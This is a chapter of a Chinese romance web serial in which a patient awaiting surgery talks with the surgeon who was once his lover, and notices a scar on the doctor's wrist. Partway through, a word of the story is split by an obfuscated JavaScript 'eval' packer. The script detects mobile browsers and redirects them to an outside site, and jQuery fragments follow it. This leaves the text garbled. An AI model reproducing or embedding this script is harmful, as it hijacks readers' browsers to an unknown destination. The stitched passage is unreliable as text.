言叙说不上来自己是什么心情,他只感觉自己走回病房的那几步路是飘在空中的。
回到病房卫生间洗脸刷牙出来,杨子轩疑惑道:“言哥,你刚才不是洗过了吗?怎么又洗一遍?”
言叙愣神一秒钟,恍然意识到自己似乎是已经洗过了。
“太热了。”言叙尴尬道。
“噢。”正在往身上穿厚厚的羽绒服的杨子轩看了眼窗檐上挂着的冰溜子,以及窗外呼号的寒风。
言叙见杨子轩在系围巾,戴帽子,便问:“你要出去?”
杨子轩围巾裹住下半张脸,帽子捂住额头,只露出一双亮晶晶的眼睛。
“我今天上午不用输液,我跟韩大夫说想去急诊大厅直播一会儿,他同意了。”
言叙点点头,又问:“沈暮呢?”
杨子轩把手机夹在支架上,回答道:“他去做全套检查了,估计得好几个小时才能做完。”
说完,杨子轩笑着跟言叙挥挥手:“言哥,我出去啦!”
言叙也朝他挥挥手:“拜拜。”
坐卧不安地在床上躺了一会儿,护士进来给他输液。
言叙盯着药液一滴一滴流入滴斗中,倒置悬挂的药瓶里多出一个一个气泡。
冰凉的药液汇入静脉,他的燥热也一点一点平息下来。
韩翊行进来的时候,言叙条件反射想要坐起来,却被韩翊行快步上前按下肩膀,低沉的嗓音说道:“躺着就行。”
言叙没有坚持坐起来,因为他现在的状况,坐着实在不太方便。
韩翊行抬头看了看输液瓶,余量还有不少,应该是刚开始输没多久。
两个人沉默了几秒钟。
看诊那天的见面有些过于突然,言叙完全不知所措,只想着赶紧逃离。
住院后身边又一直都是人。
今天这样只有两个人处在一个空间里,中间隔着七年被揉皱的光阴,一时有些无从谈起。
正当言叙绞尽脑汁在想该先寒暄还是直奔主题的时候,韩翊行动了动。
不过他没开口说话,而是从白大褂口袋里拿出一个扁平的塑料袋,撕开包装,从里面取出一个一次性蒸汽眼罩。
言叙有些摸不着头脑,只见韩翊行把折叠的蒸汽眼罩展开,然后在距离他输液管末端约摸30厘米的地方又对折,把输液管包裹在中间。
“握着。”韩翊行开了口。
“噢——”言叙伸过内侧那只手,握住蒸汽眼罩。
韩翊行哂笑一声,“用输液的这只手握。”
言叙赶紧把左手收回去,抬起输液的右手,握住蒸汽眼罩。
“用那只手握不别扭吗?”韩翊行讲话的语气像是在对着一个犯傻的小孩儿。
言叙从刚才接完韩翊行的电话回病房后,便设想了无数个韩翊行对他的态度的可能性。
他猜想,韩翊行可能对他冷冰冰的,毕竟当初韩翊行算是被他甩了,他对他怀恨在心也正常。
韩翊行也可能淡漠无所谓公事公办,毕竟已经过去七年了,再深的感情也消耗怠尽了,言叙对他来说,只是一个曾经认识但现在已经没有任何关系的陌生人。
言叙甚至都设想过韩翊行可能对他恶语相向,把他骂个狗血淋头来泄心头之愤,言叙当初不止是不辞而别,而是卷走了他的二十万现金。
却唯独没有想过,他还有资格享受韩翊行的和颜悦色。
蒸汽眼罩接触到空气后开始缓慢升温,言叙感觉自己手心有些微潮湿。
“决定做手术了吗?”韩翊行从旁边拿了个塑料凳,坐在言叙病床边,若不是他穿着白大褂,看起来真的很像是陪床的家属。
言叙点点头,“嗯”了一声,又问:“什么时候可以做?”
韩翊行拿出手机看了下自己满满当当的排期,说道:“今天下午做个检查,血红蛋白正常的话,明天就能做。”
他之前大出血,血红蛋白已经降到了30多,幸亏及时输了血,否则随时可能有生命危险。
言叙点点头,想说句“谢谢韩大夫”,又怎么想怎么别扭,最终没说出口。
默了几秒钟,言叙想到一个新问题:“我今天早上去交费,工作人员说我账户里还有一万多,是你......”
“是救助基金会,”韩翊行打断他的话,“你入院的时候一直昏迷,是基金会给你交的钱。”
言叙有些诧异,当时他昏迷,基金会应该只交他急救的钱,等他醒了或者家属来了,后续治疗费应该自己交。基金会怎么会预存那么多钱在他账户里呢?
“那等我攒够了钱,我把钱还给基金会吧?”言叙觉得基金会的钱应该留给更需要帮助的人,他自己年纪轻轻有手有脚,怎么都不该让别人负担自己住院治疗的费用。
“随便。”韩翊行冷淡道,然后又说了一句,“不急。”
基金会不急,但言叙急着去上班。
“手术完当天能出院吗?”言叙问。
韩翊行嘴唇微张吸了半口气,看言叙的眼神像是听到了什么天方夜谭。
他想嘲讽一句“你的痔疮是转移到脑子里了吗”,又想苦大仇深地质问一句“怎么,你就那么迫不及待想要摆脱我?”
终是没有开口。
“术后需要住院观察7-15天,根据身体恢复情况再决定什么时候出院。”韩翊行冷淡地说。
言叙有些丧气,自言自语似地说:“啊?需要那么长时间吗?”
“着急去见谁吗?”韩翊行盯着窗外。
“没有,我就是,工作上不好请假太长时间。”言叙解释说。
韩翊行面色稍稍缓和,目光移到言叙脸上,“住院期间最好有家属陪护。”
言叙说:“我自己可以的。”
他在宁城无亲无故,连个朋友都没有,没人陪他住院。
韩翊行上身微微后仰,手肘拄在身后的病床上,淡漠道:“随便。”
言叙又问:“手术的时候会打麻药吗?”
韩翊行如实回答:“腰麻,手术过程中不会疼。”
言叙点点头,又问:“是你做吗?”他知道韩翊行是副主任医师,不确定他会不会亲自做这种小手术。
韩翊行盯着言叙的眼睛,目光有些居高临下:“你想让谁做?”
言叙赶紧摇头:“没有没有,服从安排。”
无言了几秒,言叙又问:“手术后有什么注意事项吗?”
他怕做完手术受麻药影响,脑子不清醒,所以提前问清楚,有什么需要准备的东西他也好提前准备。
韩翊行说:“术后注意饮食清淡,多喝水,定时排便;及时换药,按时坐浴,防止创口感染......”
言叙拿手机粗略地记录下来,正打着字,手机毫无征兆地响起来,打断了韩翊行的医嘱。
言叙拿起手机,是有人给他打电话,他目光询问韩翊行是否可以接电话。
韩翊行斜睨着微微抬了抬下巴,让他接。
言叙的老古董手机漏音严重,用听筒接电话跟开了免提似的。
“宝贝儿,你什么时候回来啊,我都想你了!”
言叙多此一举地捂着听筒,压低声音说话仿佛这样韩翊行就听不到了:“浪哥,我现在有点事,一会儿给你回过去行吗?”
对面抱怨了两句,挂断了电话。
言叙调整了下记事本的光标,对韩翊行说:“按时坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305478|182819||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浴,还有什么?”
韩翊行没接话。
言叙抬头看了一眼,发现韩翊行的脸色像那大暴雨来临之前天空中那铅灰色的云层,黑压压的,让人莫名有种压迫感。
言叙有些手足无措,正在犹豫要不要说“对不起打断你说话了”,韩翊行开了口。
有几分咬牙切齿的意味:“还有,手术后三年之内不可以有X生活。”
言叙咬咬嘴唇,没过脑子问了一句:“要这么久吗?”
纯粹是好奇,痔疮的伤口三年都好不了吗?
“你很急?”韩翊行抱着手臂反问,语气冷硬。
“没有没有。”言叙赶紧摇头。他右手手心又湿又热,不知道是出的汗,还是蒸汽眼罩冒出来的蒸汽。
昨天输液的时候,他的手冰得快要失去知觉,全身都冷得打颤。
今天韩翊行用蒸汽眼罩暖着输液管,还让他把蒸汽眼罩握在手里,和昨天的境况天差地别。
言叙心中有种莫名其妙的满胀感,就是不知道,韩翊行是不是对每个病人都这样好。
言叙掀起眼睛偷偷看了韩翊行一眼,韩翊行没在看他,目光似乎落在白墙上,但又有些空茫。
周身气压低得吓人,明晃晃昭示着生人勿近。
看来对于刚才被电话打断的医嘱真的很生气了。
韩翊行把手臂交叠抱在胸前,衣服袖口被拉扯得微微向上。
言叙看到他右手突出的腕骨。
本应白皙光洁的手腕上,赫然凝着一道狰狞的疤痕!
韩翊行手腕露出来的部分不多,疤痕从腕骨旁侧一直延伸到袖子里,不知道衣袖之下还隐藏了多长。
言叙瞳孔巨震,“腾”一下坐起身,不顾身下的疼痛和手上的输液针头,失智一般抓住韩翊行的手。
他左手握着韩翊行的手,右手往上推他的袖子,想要看看那道疤痕到哪里结束。
“你的手......”言叙双目赤红,心中像是被一千根针同时刺下。
韩翊行是外科医生,右手是要拿手术刀的,可他的右手却不知道什么时候受了这么重的伤。
“要你管!”韩翊行似乎是被他吓到,口不择言,又条件反射把言叙推开,垂下手,把衣袖往下拉,想遮住那道疤痕。
却不承想,因为慌乱,手上力道没有收住,把言叙推得一下重心不稳,后脑勺直直撞到金属床管上,发出清脆的一声“咣”。
韩翊行悔不当初,赶紧倾身下去,一手托住言叙的脖颈,另一只手在他脑后被撞到的位置揉了揉。
“撞疼了吗?”韩翊行急切问道。
言叙眼眶湿润,抿紧嘴唇摇了摇头。
韩翊行扶着言叙躺下,刚才的情绪失控似乎只持续了那么一瞬间,现在的韩翊行,又是那个温文有礼的韩大夫了。
韩翊行检查了下言叙的输液针并没有移位,又把蒸汽眼罩调整好位置,塞回言叙手里。
看起来一切正常,仿佛刚才的失控只是假象。
韩翊行问:“还有什么问题吗?”他说的是言叙的手术。
言叙觉得嗓子哽得厉害,几经思索最终还是问出口:“这些年,你过得怎么样?”
韩翊行的伪装似乎被触到了什么机关,一瞬间全部被击溃,他几乎是脱口而出:
“你觉得呢?”
质问,挑衅,怨怼,混杂着其他说不清道不明的情愫,劈头盖脸朝言叙砸过来。
言叙僵了一下,他承认他还是不受控制地被这话刺到了。
韩翊行有些烦躁地抓了下头发,又说了句:“挺好的。”
尽管已经尽量控制语气平和了,但言叙还是清晰地听出了隐忍的意味。